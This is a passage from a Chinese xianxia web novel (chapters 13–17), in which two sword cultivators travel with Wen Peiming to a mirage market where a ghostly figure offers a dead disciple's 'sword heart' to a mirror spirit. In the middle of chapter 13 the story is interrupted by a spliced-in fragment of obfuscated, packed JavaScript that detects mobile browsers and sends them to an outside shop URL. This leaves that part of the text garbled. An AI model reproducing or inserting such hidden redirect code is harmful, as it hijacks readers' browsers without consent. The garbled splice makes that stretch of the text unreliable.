闻佩鸣咳了一声,御剑先行:“两位师姐随我来。” 几人刚落至飞舟,那群黑衣人便整齐弯腰行礼,向闻佩鸣道:“恭迎少主。” 闻佩鸣收剑:“起来吧。” 他对最前方的男子道:“天枢,你将此次蜃市的地图和拟定的交易流程找出来,送到我师姐的房中。” 闻佩鸣并未指名道姓是哪位师姐,给出一个眼神,天枢便心领神会,迅速应是。 “我已让人收拾好了房间,两位师姐随我来。”闻佩鸣边亲自引路边说,“下山匆忙,来不及在两处布阵缩地,委屈两位师姐一夜,我们明日便能抵达大泽。” 侍女为他们推开门,里面别有洞天,就像是修建了个小型庭院,园中上方还用琉璃作顶,让人能看到天光。 方舟内部刀枪不入,水火不侵,结构密不透风,为了居住舒适,还特意作阵法通风换气。 闻佩鸣站在庭院内,止步于房门前 “我不方便进去,两位师姐若是有什么事,可以直接吩咐方舟内的仆役。” “闻师弟费心了,多谢你。”云杳窈笑眼弯弯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592675|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “师姐何必跟我客气。”闻佩鸣道,“我们同为乾阳宗弟子,我往后还要劳烦师姐照拂才是。” 天枢已拿了地图过来,奉上图纸时毕恭毕敬,弯下去的脊背将黑色衣料绷得很紧,隐约可见结实的背肌线条。 云杳窈接过地图,笑盈盈道谢:“多谢。” 天枢抬头间不经意看到她眼中笑意,余光已察觉出闻佩鸣扫过来的探究目光。 他果断道:“都是少主的意思,云仙子不必客气。” 天枢说完,转身面对闻佩鸣,欲言又止。 闻佩鸣见他还不退下,道:“何事?” 天枢上前,贴耳密言。 闻佩鸣侧首听着,不久后,面带歉意对云杳窈和徐清来道:“阁中传信,有些杂事需要我来处理,先失陪一阵,两位师姐随意。” 他走的急,约莫是先前说的族中要事。云杳窈与徐清来没有挽留,拿着地图进入房间内部。 没了琉璃天井,里面也依旧亮堂,单是照明的夜明珠,都有数百颗。 温神养气的上品灵石,一颗便能买下凡人城池的一条街,在这里却串成装饰,挂在门口当珠帘。 此类奢靡,在飞舟内,并非个例。 徐清来眉心一跳,觉得这房内装饰得夸张了些。 云杳窈已经钻到书房内,招呼徐清来看地图。 两人在书房内研究起今年的蜃市,天枢办事利落,图上还特意标明了行动路线。 图纸内还夹杂了此次蜃市开启的详细时间和交易规则。 简单来说,以蜃市的摊位也有三六九等之分。以子时为临界点,子时前是普通买卖,虽有不少稀罕物件,但并不值得天南地北的人汇聚于此,子时后才是蜃市的真面目。 从戌时到子时,各种小摊贩临街售卖,通常有两种交易方式。 一是买家竞价,价高者得,此类摊主挂黑旗。 二是摊主在开市时公布交易条件,满足者先到先得。 子时过后,照渊阁开启,仅限拿了请帖的贵客进入。每次开启只卖九样东西,前八件是当世稀奇之物。而最后一次,则是等价交换。 铜镜照渊,每六年开启一次,镜中有灵,名镜仙,可映照天下事,看穿天下人的欲望。 与镜仙做交易,需要由贵客们自己献礼,代价不详。 在传说里,有人曾承诺修庙立神像,有人奉上全部修为,有人交付三魂六魄,更有甚者,曾以整个南荒为价码。 镜仙的回馈丰厚,从来不会令买家失望而归。 但她的胃口难以揣测,云杳窈不期待能被镜仙选中。 宾客献礼繁多,五花八门,有灵矿、仙草、奇石、法器…… 她粗略扫过,光是因为一个虚无缥缈的传说,要为此献上自己灵魂的都有数十位之多。 云杳窈被这个发现逗笑了,然而当她目光扫到末尾时,她脸上的笑意荡然无存。 在长长的献礼名单里,所有人都在力求凸显礼物名贵珍稀,唯有两个字异常简短,在其中显得格外突兀。 剑心。 有人以剑心做交换。 14. 第 14 章 察觉出云杳窈神思凝滞,徐清来顺着她指尖徘徊看去,正巧看见明晃晃的两个字。 “这是……”徐清来神色凝重,“这怎么可能?” “不是说尸骨无存吗?”云杳窈喃喃道,“剑心又不是法器,怎么可能出现在这里。” 她突然想起来,自己好像应该在徐清来面前落点眼泪,演示情深。 然而云杳窈眨眨眼,眼眶干涩无泪,她索性背过身去,尽量让自己的声音显得慌乱些。 “这世上难不成还有第二颗剑心出世?还是说,他根本没有死。” 名单上的字金灿灿的,看的人头晕眼花。徐清来不知道该如何安慰师妹,只得再次掏出镜片放在眼前,仔细研究起来。 照渊阁的献礼名单中,并没有每一位来客的具体信息,只按照通过顺序排了序号。 这位交易者的序号是六十七。 云杳窈深吸一口气,问:“魂灯还有重燃的机会吗?岑无望若是未死,根本不可能松开剑柄。” 本命剑对剑修来说,重过性命。乾阳总的弟子会放弃性命,但决不会弃剑奔逃。 云杳窈向问心摸去,手指不觉握紧剑柄。 “还是说,下山的弟子们当初只找到问心,没能找到岑无望尸首,根本就是因为……” 因为觊觎岑无望的剑心,要以此向镜仙做交换。 徐清来明白她话中余音,道:“冷静,兴许是误会。” 她知道云杳窈对岑无望的痴情,生怕她还未进入蜃市就先自乱阵脚。 “在没有看见六十七号拿出‘剑心’前,不要轻举妄动。”徐清来说,“或许我们可以先去找闻师弟,看看他知不知道这位六十七号所献的剑心究竟是什么东西。” 云杳窈又不是真对岑无望爱得死去活来,她在产生剑心被夺的猜测后,更多的是觉得可怖。 若是剑心可夺,那就代表着根骨、修为、命途乃至能想象到的一切机缘,都能够被明码标价,当作利益交换。 岑无望并非出自名门望族,更不是什么修仙世家。 能在乾阳宗那年的春日试炼中拔得头筹,所依仗的就是剑心。 当时问心犹在剑冢沉寂,岑无望背着一把被人笑作废铁的剑,从乾阳宗的初试一路战至最后。 人人都以为,乾阳宗要出第二位晏珩。 世人唤他小剑君,甚至一度带起一股民间修炼风潮。 不料他十九岁身陨,天才之名,不过是昙花一现。 云杳窈得他教导,险胜同期弟子,赢下一场场门中对比,得到诸位长老青睐,成为晏珩的亲传弟子。 在诸位乾阳宗的长老与师兄教导前,岑无望是云杳窈的第一位老师。 亦是曾救她性命的兄长。 救命之恩,兄妹之情,云杳窈不可能半点都不顾。 修道者最讲究因果,如今得知岑无望尸骨遗落在外,云杳窈不能坐视不管。 她这辈子还要另寻飞升之道,不能叫此事埋下祸患。 闻佩鸣那边还在忙碌,留话说要先行一步,连夜带着天枢赶回了大泽,需要等第二日落地才能见他。 一夜未眠,云杳窈索性在房内打坐调息。 次日还是徐清来唤她下船,她才发现修炼到忘我境地,一天一夜竟然就这么过去了。 日暮时分,南荒诸城全数关闭城门。 两人才刚抵达至大泽蔚云城附近,便看到高耸入云的照渊阁。 以它为中心,城内张灯结彩,各路华服修士穿行其间,不乏有御剑者,但都默契远离了照渊阁结界。 还未到开启时间,若无照渊阁邀请,寻常人不得入内。 飞舟悬停在城门前,先行开路的侍女手持令牌,对城门上的人喊道:“我等奉少主之命,迎贵客入照渊阁。” 城门侍卫抬臂,顷刻间,城门骤然发出龙鸣声。 自门口至照渊阁的长街一路畅通无阻,本该熙攘嘈杂的中心大道上早已清空,道无行人。 虽是如此,两侧的商铺茶楼之上,仍有无数双眼睛往这边看来,这些目光让云杳窈一阵头皮发麻。 天枢仍旧蒙着面,身着黑金劲装,对云杳窈与徐清来行礼。 “少主正在阁中面见贵客,不得空亲自迎接二位仙子,万望见谅。” 这太夸张了。 还好闻佩鸣没有来,若是他再亲自现身,一路领她们进去,云杳窈可就不止起一身鸡皮疙瘩了。 天枢侧身,抬手请她们上车。 云杳窈早在开门时就看见了这辆绘制了灵纹浮雕的马车。车前的黑色骏马生有双翼,四肢修长有力,皮毛乌黑发亮,双目□□,似乎已经开了灵智。 帘账和旗帜都用金线绣了鸩鸟图腾,在整座街道的璀璨华光之下,有种诡异的奢靡与神秘感。 云杳窈与徐清来对视,互相都看到了对方眼中的尴尬。 乘坐照渊阁的马车招摇过市,路上不乏窥伺探究的目光。 云杳窈进去就将所有帘子放下,隔绝外人视线。 刚坐稳,便听见徐清来道:“闻佩鸣这是何意?” 云杳窈同样不解,她掐诀将马车内布下隔音结界,道:“不清楚,这位师弟总是怪怪的,师姐从前听过他吗?” “这就是令我感到奇怪的地方。”徐清来蹙眉,“我从前尚在家中时,听族中长辈提起过阁主的这位儿子,据说是性情低调,不喜与人来往,与照渊阁常有生意往来的南荒姻亲亦说他性情孤僻,甚少显露于人前,怎么突然就……” “不过也说不准。”徐清来改口,“徐家毕竟是在西晴,与南荒众人往来甚少,所以也有可能是我记错了。” 云杳窈想起他手腕上的朱砂痣,突然问:“师姐从前与他见过面吗?” 徐清来摇头:“没有。” 她在徐家的辈分低,外事交涉上根本轮不到她一个小辈来露面。 看出云杳窈的失落,徐清来反问她:“怎么了?” 云杳窈眨眨眼,还是觉得单凭朱砂痣这一点没什么说服力,于是换了个说法:“我只是在想,若一个人突然性情大变,究竟是受了什么刺激?” 徐清来嗤笑一声,道:“孔雀开屏罢了,师妹不必理会。” 以权势富贵将来客架在众人目光之下,让所有人都对她们怀有好奇,说闻佩鸣没点其他的心思,徐清来根本不信。 云杳窈道:“我总觉得,闻师弟这一路所行之事,有些奇怪……” 她话音未落,马车缓步停下,外头天枢的声 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云杳窈道:“怎么会?师弟对我们多有照拂,这一路如此情境,倒叫我觉得受宠若惊了。” 她接过茶盏,没有喝,象征性抿了一口。 闻佩鸣闻言,突然笑出声,他将另一杯茶推至徐清来面前,说:“师姐不喜欢吗?” 云杳窈无法回答,毕竟是在照渊阁境内,在闻佩鸣的地盘上,云杳窈也不好推阻他的热情。 徐清来直接打断她的犹疑,将话接过来:“行了,你不好意思说,那就我来说。” 两人看向徐清来,她取出昨日天枢送来的献礼单,开门见山:“云师妹的未婚夫岑无望,自下山后便杳无音信,至今尸骨未寻回,他身怀剑心,这位六十七号来客则以剑心为礼,突然现身大泽,事关杳窈心结,还请闻师弟出手相助,此事过后,无论能不能寻到岑师弟尸身,我都算我徐清来欠下闻师弟一个人情……” 然而闻佩鸣饮着茶听着,淡声打断她:“都是乾阳宗弟子,哪里需要徐师姐这般客气。” “照渊阁向来只做平等交易,若是云师姐的愿望,我还想请她来亲自开口。” 云杳窈听到这里,暗自松了一口气,她察觉到徐清来在桌下握紧她的手,轻轻拍了拍。 没想到徐清来竟肯为她佘下人情。 活人的情谊是还不完的,云杳窈感动之余还有些惶恐。 还是明码标价的交易更适合摊开来说。 想到这里,她看向那边的闻佩鸣,道:“实不相瞒,我此次下山真是想寻得师兄踪迹,让他肉身得以安息,闻师弟既然说交易,想必心中已有相宜之物,但说无妨。” 闻佩鸣唇角噙着浅笑,他神色温和,语速缓慢:“剑心乃世间罕见之物,这位贵客也是头一次与我照渊阁交易,若非十足的诚意,怎教我冒着砸招牌的风险将情况透露给你……” 他越是这般故弄玄虚,越是令云杳窈感觉不安。 今日来到大泽,云杳窈才看清,闻佩鸣对整座照渊阁,乃至整个蔚云城都拥有绝对的控制权。 此等人物,想要打动他并不容易,云杳窈觉得,她所拥有的东西里,只有一件能令他侧目。 15. 第 15 章 云杳窈垂眸,余光扫过问心,却骤然听见闻佩鸣喉间轻笑。 闻佩鸣今日仍然是素袍在身,连手中的戒指都卸得一干二净。他整个人就像是被打磨光滑的玉,置身金碧辉煌得照渊阁内,眉眼间的秾丽还能盖过四方锦绣。 “师姐,在回到乾阳宗前,留在我身边吧。” 云杳窈一怔,松开问心,道:“我们本就是同行者。” 闻佩鸣骨节分明的修长手指扣在茶盏上,青瓷难比他肌肤玉耀光滑。 “若我说,我要的是师姐寸步不离。” 话音未落,徐清来眼神杀向他,将手中空盏狠狠砸在桌面上。 哐当一声,她声音依旧冷清,甚至没什么起伏:“闻师弟这话,未免有些冒犯了吧?” 突如其来的声音和闻佩鸣暧昧含糊的话让云杳窈心惊肉跳,好半天还没找回声音。 闻佩鸣不动如山,甚至还比刚落座时多了几分从容,他丝毫不畏惧徐清来的气势。 两人的灵气在空中相抵,先是震碎茶壶,而后并未消解,余波各自震碎对方手中茶盏。 茶水洒在闻佩鸣手中,水淋淋的湿润感并未使他面上显露不悦。 他仍是噙着笑,不慌不忙解释道:“师姐误会,我们是名门正派,我与云师姐不是合籍的道侣,我怎么敢生苟且之心?况且,这不过是在谈生意,买卖不成仁义在,师姐勿要错会我意。” 云杳窈按住徐清来,给她一个眼神,让她先冷静下来。 她先是搬出岑无望:“我尚在为亡夫守节,师弟所说的,恐怕不合适。” 然后便主动加价,袒露诚意:“其余的,古籍、剑法、灵器、灵石……凡师弟想要的,我可尽力寻来。” 闻佩鸣捻了捻晶亮水渍,拿出帕子擦了擦手。 “师姐还是不懂我的意思。”他耐心道,“世人眼中的稀世珍宝,在我照渊阁里,不过是司空见惯的俗物,这世上令我意动的,惟有诚心真情。” 他哧笑道:“而且,岑师兄与师姐,说到底并非道侣。一生一世很长,师姐何必贪恋过早夭折的缘分呢。” 观察到云杳窈面色未动,闻佩鸣最终让步。 “这样吧,从蜃市开启到结束,只要师姐能够与我寸步不离,我便为师姐破例这一回,如何?” 这么算来,不过是几个时辰的功夫。 待她见到剑心的持有者,她便立刻找机会溜走。 云杳窈心底转了几个来回,觉得这件事稳赚不赔,道:“成交。” 徐清来的目光在两人的身上来回打转,几度想要说点什么,但看到他们已重新沏茶倒水,谈笑风生。 云杳窈笑眼弯弯,递茶给她:“白日的蜃市上应该有不少古籍典藏,好不容易下山了,师姐可不能错过这次机会。” 徐清来会意,点头道:“那是自然。” 她斜睨闻佩鸣一眼,对方宽袖翩翩,风流雅致,却难以捉摸。 不止是徐清来搞不懂闻佩鸣,云杳窈也看不透他。 若说他是生意人,但怎么看,这都不像是划算的买卖。 诚心真情能够矫饰欺人,她半点不相信闻佩鸣所图为情。 古往今来,能够打动人的不过三样东西,美色、权势、金钱。如若是修士,还有可能是为了修为与机缘。 闻佩鸣背靠照渊阁,在南荒无出其二,前三者对他来说早已不足为奇。 云杳窈一个鲤鱼打挺,从床上弹射起来。 她看了一眼挂在床边的问心,还是不放心,将它抱在怀中,接着思索。 明亮的卧房内,她的心脏咚咚直跳,略显烦躁。因为抱着剑侧睡,所以她其中一只手的手背正贴在心口。 云杳窈脑中忽然闪过新念头。 诚心真情,刚听到这四个字的时候,云杳窈与徐清来都将注意力放在了“情”上。 但如果最终的落脚点是“心”呢? 所有剑修平生都有两大追求,登峰造极、人剑合一的修为,以及令人望尘莫及的剑术领悟。 正如闻佩鸣自己的意思,这世间所有东西于他而言都唾手可得,只有这种难以企及,虚无缥缈的珍奇,才能入得了他的眼。 拥有剑心,对闻佩鸣来说如虎添翼。 算起来,剑心被夺时,闻佩鸣并没有上山。 并不是所有人都有资格参与子时后的蜃市交易,献礼名单需要层层筛选,肯定早就定了下来。 照渊阁少主远赴乾阳宗学剑本就稀奇,还特意备礼来见她。 因为她与晏珩是当世仅存的,与岑无望有直接联系的人。 问心弃主,剑心难顾,身销魂灭,死于非命。 晏珩到了这个境界,离飞升仅一步之遥,对这个徒弟只有惋惜,并无太多执念。 云杳窈则不同,自岑无望过世后,只要提起他,便能联想到她这个深情师妹。 剑心献礼之事疑点重重,背后人未曾露面,若要推一个人去试探对方,自然是以她为先。 云杳窈再次睁眼,更觉得闻佩鸣此人深不可测。 她若拿到剑心,还能离开大泽吗? 云杳窈坐起来,将掌心摊开,丝线顺着掌纹蔓延而出,其中有一根丝线异常鲜艳,且不断延伸至远方,即便已经抵达了视线不可及之处,她也能感受到,另一边浩瀚如海的灵力。 犹豫过后,云杳窈用指尖勾动丝线,闭眼催动贪惑往深处潜入。 这缕幽暗的鬼气畅通无阻,云杳窈能与之共感,自然也能感受到,它比下山前更加茁壮。 贪惑遵从本能,嗅着气息追寻至晏珩灵府。 在云杳窈的印象中,晏珩这人两世都没什么弱点,除却飞升外,他这人几乎达到了无欲无求的地步。 贪惑想要钻灵府的空子,难如登天。 然而当她真的看见晏珩灵府时,却发现贪惑并不需要硬闯。 它轻巧化烟,转瞬钻入灵府,不见踪影。 见此状,云杳窈将松开的丝线往更深处的识海探去。 识海防御更强,丝线暂时徘徊在外层。而那些能够轻易被窥探到的识海信息,不过就是回雪峰上不变的风雪,以及晏珩身边人的模糊旧影。 云杳窈想往里去,刚触碰到边界,便有种毛骨悚然的石化感。 虽远在千里之外,威慑犹直达己身。灵力威压顺着丝线向她迅速席卷而来,云杳窈喉头腥甜反涌,自断越界的丝线,将其余留在识海浅层的线扎根在外面。 云杳窈知道今日只能到此为止,她不贪心,令丝线继续汲取灵力 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白日仍是未见到闻佩鸣身影,云杳窈见怪不怪,直至日落时分,她以为闻佩鸣回心转意,要爽约了,他带人现身于庭院外。 衣着仍旧是朴素简洁,连身旁的天枢都比他穿得华贵。 徐清来先发制人:“人齐了,那我们出发吧。” 天枢躬身行礼,替闻佩鸣接话:“徐仙子莫急,您是贵客,少主已经吩咐了我们,定要让您尽兴而归。” 他抬头,看见她有如实质的凌厉目光。身旁闻佩鸣的威压更甚,他硬着头皮道:“今日您看上的东西,全由照渊阁买单,由我亲自随行照看,请徐仙子尽情差遣天枢即可。” 天枢仍旧蒙面,他的目光再次与徐清来对上,不再退让,带着点祈求和为难。 徐清来沉默半晌,看着他宽阔的脊背不敢抬起,肌肉微微颤抖,虽然不忍,但还是不放心云杳窈。 云杳窈接收到她的犹豫,道:“师姐不必担心,待蜃市结束,我就立刻去找你。” 徐清来这才答应天枢。 肉眼可见的,他们都松了口气,不过他们都并非能言善辩之辈,说完便陷入沉默。 闻佩鸣很满意这个结果,抬手邀云杳窈与自己同行。 他今日面色不大好,云杳窈出于同门情谊,进入马车后客气道:“闻师弟今日身体不适?” 闻佩鸣眼下有淡淡的痕迹,应该是敷粉了,若不是离得近,根本看不出来。 笑盈盈回答她:“蜃市前后,到大泽的牛鬼蛇神不少,不过是连日处理公务,有些劳累罢了,师姐不必担心。” 云杳窈居住的地方离街市不远,所以没过多久,便听见外头此起彼伏的人声越来越近。 侍从声音响起:“请少主与云仙子下车换乘。” 云杳窈刚要动身,便被闻佩鸣用扇子按下:“稍等。” 街道上花灯璀璨,恍若白昼。他先一步下来,掀开帷帐,眸光更甚华灯。 闻佩鸣的声音在嘈杂中依旧清晰,如珠玉落盘。 “既然是同行共游,就请容我为师姐效劳一夜。” 说着,他握着扇骨,将另一方递给仍身处暗影中的云杳窈。 16. 第 16 章 云杳窈双脚刚沾地,心底忽而钻出一股毛骨悚然的感觉。 眼前,是无数华光下的暗影。 蜃市繁华,肉眼所及之处,全都是摩肩接踵的行人。这些人身穿黑色衣袍,以面具或面纱遮掩真面目。 黑袍多数盖过脚踝,行动间恍若鬼影游动。 他们,他们的眼睛齐齐望过来。 先是咫尺之外的行人看向云杳窈,而后就是更远的人闻声而驻足,回望这里。 阶梯上,摊位边,街道中,那些或远或近的视线像是海面的波浪一层层堆叠而来。 云杳窈置身在繁华街市,如坠鬼窟。 照渊阁下属已经将车马驾走,身旁唯一一个衣着正常的人就是闻佩鸣。 他看出云杳窈的紧张,主动安慰道:“师姐别怕,蜃市交易,蒙面掩饰身份的不在少数,有我在,师姐可以放心。” 说着,闻佩鸣将扇子轻轻收回,云杳窈的手跟着伸出一段距离,他见状轻笑,道:“不过闹市拥挤,师姐若是害怕,还是牵着扇子吧。” 云杳窈声音沉下去,一字一顿道:“你是故意的。” 闻佩鸣晃了晃手中扇,掩盖住自己的下半张脸,不过扇骨狭窄,扇面未展开,还是泄露出他上扬的唇角。 “师姐这话,我倒是听不明白了。” “你我未经乔装打扮,就这样招摇过市,不出半个时辰,所有人都会得知我与照渊阁少主同游,自然会引来许多人探查我身份。” 不,甚至不用待他们私下探听,昨日那般招摇,早该引起许多城中人注意。 他们一青一白,两抹亮色,在黑压压的蜃市人群里实在显眼。 “闻师弟。”云杳窈道,“你究竟意欲何为?” 闻佩鸣已走到最近的一个摊贩边,直接拿起一支做工精巧的剑簪,对云杳窈道:“师姐,喜欢吗?” 他身后,随行的照渊阁侍从已默默拿出灵石,将此物买下。 云杳窈道:“不要顾左右而言他。” 闻佩鸣将剑簪插在她头上,还是不回答她刚才的问题:“师姐要是觉得不自在,就乖乖呆在我身边好了。” 剑簪的灵力涌动,是个攻防兼备的小型法器。漂亮精致,然而体型太小,并不适合剑修使用。 “只要师姐与我寸步不离,我保证,在大泽境内,没有人敢让师姐有半分不痛快。” 闻佩鸣将扇子再次递过去,歪头看向她,眼神诚挚无辜。 云杳窈权衡利弊,最终还是牵住。 两人款步走在街道上,闻佩鸣视线所过,无人再敢肆意打量他们。 蜃市重新恢复生机,刚才的异动好像是一滴水滴入油锅,只引起片刻骚动,很快便消失不见。 云杳窈原本很喜欢花里胡哨的首饰法器,但她心中警惕未消除,因此心不在焉。 闻佩鸣多次向她搭话,她敷衍了事,只想快点熬过这漫长的子时前。 闻佩鸣叹了口气,看着她身上满目琳琅的法器装饰,奇珍异宝。 鲛绡不如她鬓边发丝柔软,琥珀不如她眼神明媚,仙草的花骨朵不如她唇瓣娇艳,连上品的驻颜丹都于她无用。 这些堆砌强加在云杳窈身上的东西,根本就是累赘。 闻佩鸣提议:“子时前没什么稀罕玩意儿,师姐如果累了,不如咱们找个地方休息片刻。” 云杳窈以为他要带自己来茶楼,没想到两人兜兜转转,还是进了照渊阁。 不过这次不是在九层,而是十六层。 十六层的高度能将整座蔚云城尽收眼底,刚才还压得人喘不来气的人群,现在都像是挤在一条道上的蚂蚁。 他们两个坐在露台上,各怀心事。 “师姐长居回雪峰,应该看惯了吧。”闻佩鸣难得放松脊背,靠在扶手边,和云杳窈聊天。 云杳窈不明所以:“看惯什么?” 闻佩鸣眯着眼,将所有人尽收眼底,他声音有些低哑,似乎有些疲倦。 “自然是,看厌了芸芸众生,世间百态。毕竟,高处不胜寒,师姐年少成名,又是剑君亲传弟子,想来已经看倦人间。” 云杳窈喝口茶润唇,道:“不怕闻师弟笑话,我也是出自南荒,从前是凡人,不过侥幸进了乾阳宗,糊涂学了几年剑,哪里就轮到我感叹‘高处不胜寒’了?” 她低头,看到的是黑影下被包裹着的,一个个鲜活生命。 尽管这些人里,可能会因她如今的身份而报以好奇或猜测,但擦肩而过后,他们互不影响。 人和人的缘分本就是浅薄的,亲朋师友的缘分可断,连合籍的道侣也是。 云杳窈的心脏还在稳定跳动着,却仍会在想起前世一剑时,心悸惊慌。 两世以来,她最害怕的不是大道无望,不是与谁恩断义绝,而是怕自己活不下去。 云杳窈不爱顾影自怜,然而回想过往,光是绞尽脑汁活下去,她就需要费尽力气,好似走在悬崖峭壁间的独木桥,一旦放松警惕,交付真心,就会立刻滚落深渊。 怎么光是活下去,就要这么难呢? 云杳窈抬头,望向素袍纱衣仍旧难掩矜贵的闻佩鸣,可能是连日疲惫侵扰,他这会儿倒是懒得伪装,脸上笑意全无,带着隐隐倦意与不耐。 云杳窈年幼时与人一路逃亡,天灾、人祸、妖鬼,每一样都能阻拦他们的脚步,稍有不慎,就够不着乾阳宗的八千阶梯,更遑论寻仙问道。 在乾阳宗里,她不是那个并非一剑成名的天才。同龄者,多数出自修仙世家,少数是天纵奇才,抛开名师之后的头衔,她是其中最接近凡人的那个。 不过闻佩鸣能问出这些话,云杳窈也懒得跟他多解释。她重活一世,与修为同时进步的还有演技。 思绪暂停,话音未曾停歇,云杳窈语气温和:“来时路多艰险,不敢轻狂言。” “师姐说自己也是凡人,为何不放弃做剑修,索性做个凡人呢?需知道,过谦者怀诈,师姐怕不是在糊弄我。”闻佩鸣道。 这话一出,云杳窈手中茶差点端不住。 闻佩鸣出生就是照渊阁少主,年纪轻轻独揽大权,得神剑天同,还有整个蔚云 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“师姐,天同与问心是带着机缘降世的神剑,你身负问心,有没有想过,小剑君之上,这段缘分之外,仍有人在大道中途等你。” “我生时,便有人看到了我的命数。” “命途推演三千遍,他为我降下三条预言。” “我会享有世间繁华,凡所想所求,皆能轻易得到。” “我将与天命之女结合,她与我以神剑结缘,我们是天定姻缘。” “最后,我将承载天命,立于万人之巅,成为群仙之首。” 云杳窈配合捧场道:“是吗?真是令人艳羡的一生啊。” 闻佩鸣垂眸,搅动已经凉透的茶水。 水波旋转,将倒影扭曲。 “镜仙告诉我,虽有贵人相护,但命途本就易变,即便是写好的命书,也不乏意外。” 闻佩鸣静观杯中风云,话音一顿, “剑心,本就不该出现。它打破了此世的平衡,无意间改写了诸多人的命运。问心提前出世,妖鬼横行,世间大乱,有人怀罪而生,打乱了秩序。岑无望承受不了剑心,因此早逝……” 云杳窈耐心听着,就当听话本折子。 闻佩鸣直起身体,站了起来。 “师姐不是想知道,剑心如今在哪里吗?” 他回头,身后层层的大门依次敞开。 子时已到,黑袍依次入座。 云杳窈与闻佩鸣走入内室,向照渊阁的最核心地带看去。 十二层内人影憧憧,鸦雀无声。顶部,有一面通天的铜镜,不照人影,镜中日月齐升,偶尔闪过异象。 所有人,都忍不住向它望去。连云杳窈都不得不承认,看到这面镜子时,所有人都会被它夺取视线。 这里面,唯有闻佩鸣不为所动,从进来那一刻,便紧盯着其中一命黑袍来客。 “他来了。” 17. 第 17 章 云杳窈与闻佩鸣站在栏杆处,俯视全局。 凤鸣声起,铜镜显像。 整座十二层的圆形内室顿时被流光溢彩的光斑所环照。 一个女子的身影在铜镜下显现,她面覆白纱,仙姿缥缈,霓裳无风自动。 台下黑袍无不是情绪激动,离铜镜台最近的一圈,甚至有人伸出双手,将礼物捧给她看。 在场来客,无不期待她的垂怜。 然而镜仙不为所动,任凭脚下众人狂热赤忱,她兀自抬头,看向最远最高处。她竟然开口问候道:“许久不见。” 云杳窈看向身边的闻佩鸣,他亦颔首行礼,回镜仙道:“劳您牵挂,一切安好。” 镜仙听完,没有再与闻佩鸣多说,她的目光缓缓下移,回到群结在她身旁的黑袍。 她将眼神定在某一处,好像发现了什么,如白瓷般的纤细手指轻轻勾动,唤台下那位无动于衷的身影道:“上前来。” 镜仙灵力拨开人群,久坐的黑袍人终于听到她的召唤,从容起身。 他的冷静自持,与场内被欲望驱使的狂热之人划开一条泾渭分明的线。 像是知道自己所献之礼必定会被选中一般。他在镜仙的默许下,走上铜镜台。 镜仙圣洁,衬得黑色身影更像鬼魅。 然而他的黑袍不经意扫过镜仙的羽衣,竟然直直穿透她的身体。 黑白、虚实、真假。 一时很难让人分清楚界限。 黑袍从怀中捧出一颗正在蓬勃跳动的,血色鲜红的心脏。它并非血淋淋的可怖模样,而是带着红光的一团血雾。之所以称之为心脏,是因为它身上还残存着至高剑意的锐利锋芒,而黑袍从心口献礼的动作,很难不让人将它与心脏联想在一起。 离开主人身体,它仍旧兀自跳动着,鼓动着在场人所有的心。 “我携剑心而来,想与你做交换。”黑袍声音含糊不清,音色混杂,勉强能辨出话意。 莫名的,云杳窈感到自己的心脏好像在与它同频共振。明明相隔甚远,它的跳动声却震动她的耳膜,一下下,唤起她心底的悲凉。 冷刃无魂,剑意有情。 云杳窈能感受到,这颗心脏的悲鸣,恍若亘古余音。 就在云杳窈沉浸在这种奇妙的共鸣之中时,台下忽而有人道:“光下无影,此人身份有异。” 云杳窈定静看去,铜镜台上,镜仙与黑袍脚下皆无影子飘荡。 镜仙真身不在此处,她只是镜中投射在此的虚影,可黑袍与她一样,在镜下依旧无影。 “他是恶鬼!” 此话一出,无数人蜂拥而上,想要将他拉下来。 那一双双手高举着,有光洁如新的年轻臂膀,还有枯瘦干瘪的苍老手掌。他们嚷叫着,甚至还有要爬上铜镜台的。 镜仙挥手,划界分隔开距离,使得所有人不得近身上台。 “我对他是人是鬼不感兴趣,待交易结束后,任凭你们怎么处置他都可以。” 众人冷静下来,吵嚷声慢慢停歇。镜仙态度坚决,他们知道此事已成定局。 挥舞的手臂渐次落下,包括云杳窈与闻佩鸣在内,所有人的目光都紧盯着台上的人。 “你想要什么?”镜仙问眼前黑袍,“能够重新行走于世间的肉身?还是能够再寻大道的奇术诡计?” 镜光随她的话音而落,照射在黑袍身上。金色滚边熠熠生辉,这光辉愈发将他的沉默拉长。 铜镜照影,可知天下事。 黑袍沉默许久,说:“我此行,只为求一个答案。” 他说到这里,似乎有些迟疑,稍稍停顿后,才接着说。 “上至碧落下尽黄泉,究竟有没有能让我家君上脱困的万全之策?” 镜仙沉默许久,反问他:“你不是已经知道了吗?为什么还要执着于别人的回答。” 黑袍回答她:“因为猜到和看到都不是尽头。由谁来给出一个确定的回复,远比事实更重要。” 说罢,他竟然将掌上心脏收回,语气坚定,像是下定了决心:“我反悔了。” 瞬息间,黑袍化作一缕鬼气,破结界而出,掠过无数人的头顶,擦过云杳窈身侧,带起一股冷风。 云杳窈下意识去抓他的衣角,但黑色外袍扫过她指缝,未来得及留住他。 她与闻佩鸣齐齐回身,快步追赶而去,闻佩鸣两指并起,触发照渊阁机关,喝道:“留下剑心!” 黑袍鬼气肆意,强行破开最后一道门,从十二层的露台一跃而下,遁入蜃市的人潮中。 闻佩鸣一语不发,返回铜镜台。 交易不成,镜仙没有感叹可惜,钻入镜中不见,丝毫不见借力帮助他们绞杀恶鬼的想法。 闻佩鸣将灵气注入铜镜,符咒显现,以照渊阁为中心,光芒从四周的街道显现。 一时间,蔚云城的地面随法阵的开启而摇晃,大地震动,带起街道上人群的恐慌。 不多时,活捉恶鬼的命令传达四方,照渊阁前的天枢闻讯抬头,目有惊惶。 “怎么了?”徐清来眯眼,擦拭镜片,向上望去。 视线重新清晰,她能看见云杳窈御剑冲入人海的身影。 天枢说:“千肆蜃影开启,阁主急召。徐仙子……” 他还想说去去就回,结果身旁的徐清来已随云杳窈的方向寻去,不见人影。 天枢在原地抱着一摞古籍,向前不是,向后也不是,脚都要打结了。 犹豫一会儿,他将古籍放在照渊阁内,决定快速赶回了少阁主身边。 